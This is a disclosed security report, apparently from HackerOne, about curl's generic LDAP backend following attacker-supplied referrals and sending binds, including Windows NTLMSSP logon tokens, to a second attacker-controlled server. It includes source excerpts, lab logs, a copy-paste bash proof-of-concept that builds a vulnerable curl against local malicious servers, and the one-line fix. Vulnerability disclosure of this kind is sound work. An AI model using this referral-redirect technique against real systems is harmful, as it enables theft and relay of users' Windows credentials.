HexBrain

curl · Report #3756699

lib/ldap.c follows attacker-controlled LDAP referrals and binds to a second server; WinLDAP builds leak current logon credentials (confirmed on Window

Informativestatus
mediumseverity
8upvotes
1 Jun 2026disclosed

How it was found

Summary:

curl's generic LDAP backend (lib/ldap.c) does not disable automatic LDAP referral chasing, unlike lib/openldap.c, which explicitly sets LDAP_OPT_REFERRALS to LDAP_OPT_OFF. As a result, a malicious first-hop LDAP server can return a referral to an attacker-controlled second LDAP server and cause curl/libcurl to automatically open a second connection and send an LDAP BindRequest there.

This has been demonstrated in two ways:

  • A current-source, one-command reproduction that builds a lib/ldap.c-based curl and proves the attacker-controlled second-hop BindRequest.
  • A Windows WinLDAP reproduction that directly observed both the second-hop bind and an NTLMSSP token emitted by the default LDAP_AUTH_NEGOTIATE path when no explicit credentials are supplied.

This is not an opt-in behavior like HTTP --location-trusted; the second hop is entirely chosen by the attacker through the LDAP server response.

Affected version

Source inspected: fc90bdbaf9c9336912671715af0a778529b8f6c1 (curl-8_20_0-195-gfc90bdbaf9)

Current-source Linux proof-of-behavior build:

curl 8.21.0-DEV (Linux) libcurl/8.21.0-DEV OpenSSL/3.0.2 OpenLDAP/2.5.16
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap mqtt mqtts pop3 pop3s rtsp smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS IPv6 Largefile SSL threadsafe TLS-SRP UnixSockets

Windows WinLDAP reproduction build:

curl 8.21.0-DEV (Windows) libcurl/8.21.0-DEV Schannel WinLDAP
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt mqtts pop3 pop3s rtsp smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Kerberos Largefile SPNEGO SSL SSPI threadsafe UnixSockets

Scope note:

  • This issue is in the generic LDAP backend: lib/ldap.c
  • Windows builds use exactly this backend through USE_WIN32_LDAP
  • lib/openldap.c is not affected because it explicitly disables referrals

Why this exists in curl source

The OpenLDAP-specific backend has an explicit defense at lib/openldap.c:649-650:

/* Do not chase referrals. */
ldap_set_option(li->ld, LDAP_OPT_REFERRALS, LDAP_OPT_OFF);

In the generic backend, curl configures the LDAP session, performs bind, and immediately issues a synchronous search at lib/ldap.c:316-416:

ldap_set_option(server, LDAP_OPT_PROTOCOL_VERSION, &ldap_proto);
...
#ifdef USE_WIN32_LDAP
  rc = ldap_win_bind(data, server, user, passwd);
#else
  rc = ldap_simple_bind_s(server, user, passwd);
#endif
...
rc = ldap_search_s(server, ludp->lud_dn,
                   ludp->lud_scope,
                   ludp->lud_filter, ludp->lud_attrs, 0, &ldapmsg);

But lib/ldap.c never disables referral chasing with:

ldap_set_option(server, LDAP_OPT_REFERRALS, LDAP_OPT_OFF);

On Windows, the high-impact default is in lib/ldap.c:197-201:

  else {
    /* proceed with current user credentials */
    method = LDAP_AUTH_NEGOTIATE;
    rc = ldap_bind_s(server, NULL, NULL, method);
  }

This matches curl's own documentation in docs/MANUAL.md:819-820:

On Windows, if no user/password specified, auto-negotiation mechanism is used
with current logon credentials (SSPI/SPNEGO).

It also conflicts with curl's credential model in docs/internals/CREDENTIALS.md:46-49:

Credential information from CURLOPT_* settings is only applicable for the
initial origin. Any followup request going to another origin must not
use it.

Windows verification (directly observed)

The following evidence was gathered on Windows from a WinLDAP build of current HEAD using a two-server malicious LDAP lab where hop A returns a referral to attacker-controlled hop B.

a) Attacker-controlled second-hop bind with explicit credentials

Command:

curl.exe -u "tu:tp" "ldap://127.0.0.1:7389/dc=example,dc=org??sub?(objectClass=*)"

Observed on the lab servers:

[A] connection from 127.0.0.1:63189
[A] BindRequest mid=1 auth=[simple]
[A]   raw: 30 84 00 00 00 14 02 01 01 60 .... hidden
[A] SearchRequest mid=2 -> returning referral ldap://127.0.0.1:7390/dc=example,dc=org
[B] *** SECOND-HOP connection from 127.0.0.1:63190 ***
[B] *** BindRequest on attacker hop mid=3 auth=[simple] ***
[B] SearchRequest mid=33554434 on attacker hop

The transfer ends only after hop B has already received the second-hop bind.

b) Current-logon credential leak with no -u provided

Command:

curl.exe "ldap://127.0.0.1:7389/dc=example,dc=org??sub?(objectClass=*)"

Observed bind emitted by the WinLDAP negotiate path:

[A] BindRequest mid=4 auth=[authtag-0x8a, NTLMSSP-token]
[A]   raw: 30 84 00 ....
           hiden 
           ... 4c 41 50 54 4f 50 2d 46 36 4e 48 4b 55 45 52 57 4f 52 4b 47 52 4f 55 50

Decoded:

  • SASL mechanism NTLM
  • NTLMSSP\0 negotiate message
  • workstation/domain metadata present in the token

Against an attacker server that completes the challenge-response handshake, this path proceeds to a NetNTLM response. The key issue for curl is already visible before that: the attacker controls which host receives this automatic Windows-integrated authentication.

c) One-line mitigation prevents it

Using the same WinLDAP call flow with:

ldap_set_option(server, LDAP_OPT_REFERRALS, LDAP_OPT_OFF);

added before the search prevents the hop-B connection and leaves the search returning LDAP_REFERRAL locally instead of chasing it. This is the same one-line protection lib/openldap.c already uses.

Reproduction PoC (current source, one copy-paste)

The following PoC is kept inlined so the report can be reproduced from a clean current-source checkout without relying on prebuilt binaries. It preserves the original reproduction flow by building a lib/ldap.c-based curl from the current tree and then driving the already-validated repository PoC (bug/ldap_referral_chase_poc.py) to prove the attacker-controlled second-hop BindRequest.

Run the following from the root of the curl source tree:

cat >/tmp/repro_build_and_run_ldap_referral.sh <<'SH'
#!/usr/bin/env bash
set -euo pipefail

REPO_ROOT="${PWD}"
WORKDIR="${WORKDIR:-$(mktemp -d /tmp/curl-ldap-referral-XXXXXX)}"
OPENLDAP_VERSION="${OPENLDAP_VERSION:-2.5.16}"
OPENLDAP_PREFIX="${OPENLDAP_PREFIX:-$WORKDIR/install-openldap}"
OPENLDAP_TARBALL="$WORKDIR/openldap-${OPENLDAP_VERSION}.tgz"
OPENLDAP_SRC="$WORKDIR/openldap-${OPENLDAP_VERSION}"
CURL_SRC_COPY="$WORKDIR/curl-src"
CURL_BUILD_DIR="$WORKDIR/curl-build"
FIRST_PORT="${FIRST_PORT:-1389}"
SECOND_PORT="${SECOND_PORT:-2389}"
POC_LOG="$WORKDIR/poc.log"
CURL_LOG="$WORKDIR/curl.log"
NPROC="$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)"
POC_PID=""

cleanup() {
  if [[ -n "$POC_PID" ]]; then
    kill "$POC_PID" 2>/dev/null || true
  fi
}
trap cleanup EXIT

say() {
  printf '[*] %s\n' "$*"
}

need_cmd() {
  command -v "$1" >/dev/null 2>&1 || {
    printf '[!] missing required command: %s\n' "$1" >&2
    exit 1
  }
}

need_cmd curl
need_cmd cmake
need_cmd make
need_cmd tar
need_cmd python3
need_cmd perl

mkdir -p "$WORKDIR"

if [[ ! -f "$REPO_ROOT/CMakeLists.txt" ]] || [[ ! -f "$REPO_ROOT/lib/ldap.c" ]]; then
  printf '[!] run this from the curl source root\n' >&2
  exit 1
fi

build_openldap() {
  if [[ -x "$OPENLDAP_PREFIX/bin/ldapsearch" ]]; then
    say "reusing OpenLDAP from $OPENLDAP_PREFIX"
    return
  fi

  say "building local OpenLDAP ${OPENLDAP_VERSION} under $OPENLDAP_PREFIX"
  if [[ ! -f "$OPENLDAP_TARBALL" ]]; then
    curl -L \
      "https://www.openldap.org/software/download/OpenLDAP/openldap-release/openldap-${OPENLDAP_VERSION}.tgz" \
      -o "$OPENLDAP_TARBALL"
  fi

  rm -rf "$OPENLDAP_SRC"
  tar -C "$WORKDIR" -xf "$OPENLDAP_TARBALL"
  (
    cd "$OPENLDAP_SRC"
    ./configure \
      --prefix="$OPENLDAP_PREFIX" \
      --disable-slapd \
      --enable-static \
      --disable-shared
    make -j"$NPROC" depend
    make -j"$NPROC" libraries
    make install
  )
}

patch_temp_source() {
  say "patching a temporary curl source copy to force the generic LDAP backend"
  rm -rf "$CURL_SRC_COPY"
  cp -a "$REPO_ROOT" "$CURL_SRC_COPY"

  perl -0pi -e '
    s/option\(CURL_DISABLE_LDAPS "Disable LDAPS" \$\{CURL_DISABLE_LDAP\}\)\nmark_as_advanced\(CURL_DISABLE_LDAPS\)/
option(CURL_DISABLE_LDAPS "Disable LDAPS" ${CURL_DISABLE_LDAP})
mark_as_advanced(CURL_DISABLE_LDAPS)
option(FORCE_GENERIC_LDAP "Force the generic lib\/ldap.c backend for local testing" OFF)
mark_as_advanced(FORCE_GENERIC_LDAP)/s
  ' "$CURL_SRC_COPY/CMakeLists.txt"

  perl -0pi -e '
    s/if\(HAVE_LDAP_INIT_FD\)/if(HAVE_LDAP_INIT_FD AND NOT FORCE_GENERIC_LDAP)/s
  ' "$CURL_SRC_COPY/CMakeLists.txt"
}

build_vulnerable_curl() {
  say "configuring and building a lib/ldap.c-based curl"
  rm -rf "$CURL_BUILD_DIR"

  cmake -S "$CURL_SRC_COPY" -B "$CURL_BUILD_DIR" \
    -DFORCE_GENERIC_LDAP=ON \
    -DCURL_DISABLE_LDAPS=ON \
    -DCURL_DISABLE_PROXY=ON \
    -DBUILD_SHARED_LIBS=OFF \
    -DBUILD_STATIC_LIBS=ON \
    -DBUILD_STATIC_CURL=ON \
    -DBUILD_TESTING=OFF \
    -DENABLE_CURL_MANUAL=OFF \
    -DBUILD_LIBCURL_DOCS=OFF \
    -DBUILD_MISC_DOCS=OFF \
    -DCURL_USE_OPENSSL=ON \
    -DOPENSSL_ROOT_DIR=/usr \
    -DLDAP_INCLUDE_DIR="$OPENLDAP_PREFIX/include" \
    -DLDAP_LIBRARY="$OPENLDAP_PREFIX/lib/libldap.a" \
    -DLDAP_LBER_LIBRARY="$OPENLDAP_PREFIX/lib/liblber.a" \
    -DCURL_USE_LIBPSL=OFF \
    -DCURL_ZLIB=OFF \
    -DCURL_BROTLI=OFF \
    -DCURL_ZSTD=OFF \
    -DUSE_NGHTTP2=OFF \
    -DUSE_LIBIDN2=OFF \
    -DCURL_USE_LIBSSH2=OFF

  cmake --build "$CURL_BUILD_DIR" -j"$NPROC" --target curl

  local cfg="$CURL_BUILD_DIR/lib/curl_config.h"
  grep -q '^/\* #undef USE_OPENLDAP \*/' "$cfg" || {
    printf '[!] build is not vulnerable: USE_OPENLDAP is still enabled\n' >&2
    exit 1
  }
  grep -q '^/\* #undef CURL_DISABLE_LDAP \*/' "$cfg" || {
    printf '[!] build unexpectedly disabled LDAP\n' >&2
    exit 1
  }
}

run_repro() {
  local vuln_curl="$CURL_BUILD_DIR/src/curl"
  say "starting malicious LDAP servers"
  python3 "$REPO_ROOT/bug/ldap_referral_chase_poc.py" \
    --first-port "$FIRST_PORT" \
    --second-port "$SECOND_PORT" \
    --ref-host 127.0.0.1 \
    --timeout 15 >"$POC_LOG" 2>&1 &
  POC_PID="$!"
  sleep 1

  say "calling the freshly built vulnerable curl binary"
  env -u ALL_PROXY -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u http_proxy -u https_proxy \
    "$vuln_curl" \
    "ldap://127.0.0.1:${FIRST_PORT}/dc=example,dc=org??sub?(objectClass=*)" \
    >"$CURL_LOG" 2>&1 || true

  if wait "$POC_PID"; then
    POC_PID=""
    say "vulnerability reproduced successfully"
  else
    POC_PID=""
    printf '[!] PoC did not observe the expected second-hop bind\n' >&2
    printf '\n=== PoC log ===\n' >&2
    cat "$POC_LOG" >&2
    printf '\n=== curl log ===\n' >&2
    cat "$CURL_LOG" >&2
    exit 1
  fi

  printf '\n=== PoC log ===\n'
  cat "$POC_LOG"
  printf '\n=== curl log ===\n'
  cat "$CURL_LOG"
  printf '\n=== built curl ===\n%s\n' "$vuln_curl"
  printf '=== workdir ===\n%s\n' "$WORKDIR"
}

say "workdir: $WORKDIR"
build_openldap
patch_temp_source
build_vulnerable_curl
run_repro
SH

bash /tmp/repro_build_and_run_ldap_referral.sh

Expected result:

[A] got initial bind, messageID=1
[A] got search, messageID=2
[A] sending referral to ldap://127.0.0.1:2389/dc=example,dc=org
[B] second-hop connection from 127.0.0.1:NNNNN
[B] observed LDAP BindRequest on second hop
[+] vulnerability reproduced: second-hop bind attempt observed

This PoC is intentionally a minimal proof of the core curl flaw. The Windows verification above is the higher-impact confirmation of the same issue on the WinLDAP path.

Impact

Summary:

A malicious LDAP server can choose an attacker-controlled second LDAP host and make curl/libcurl automatically connect to it and issue an LDAP BindRequest there. This is directly reproducible on current source and confirms an attacker-controlled cross-host authentication event in lib/ldap.c. On Windows WinLDAP builds, the default behavior without explicit credentials is automatic SSPI/SPNEGO negotiation with the current logon credentials, and this has been directly observed to emit an NTLMSSP token to the malicious server. In other words, the same missing LDAP_OPT_REFERRALS defense that causes the second-hop bind also causes attacker-chosen Windows-integrated authentication to leave the initial origin boundary.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original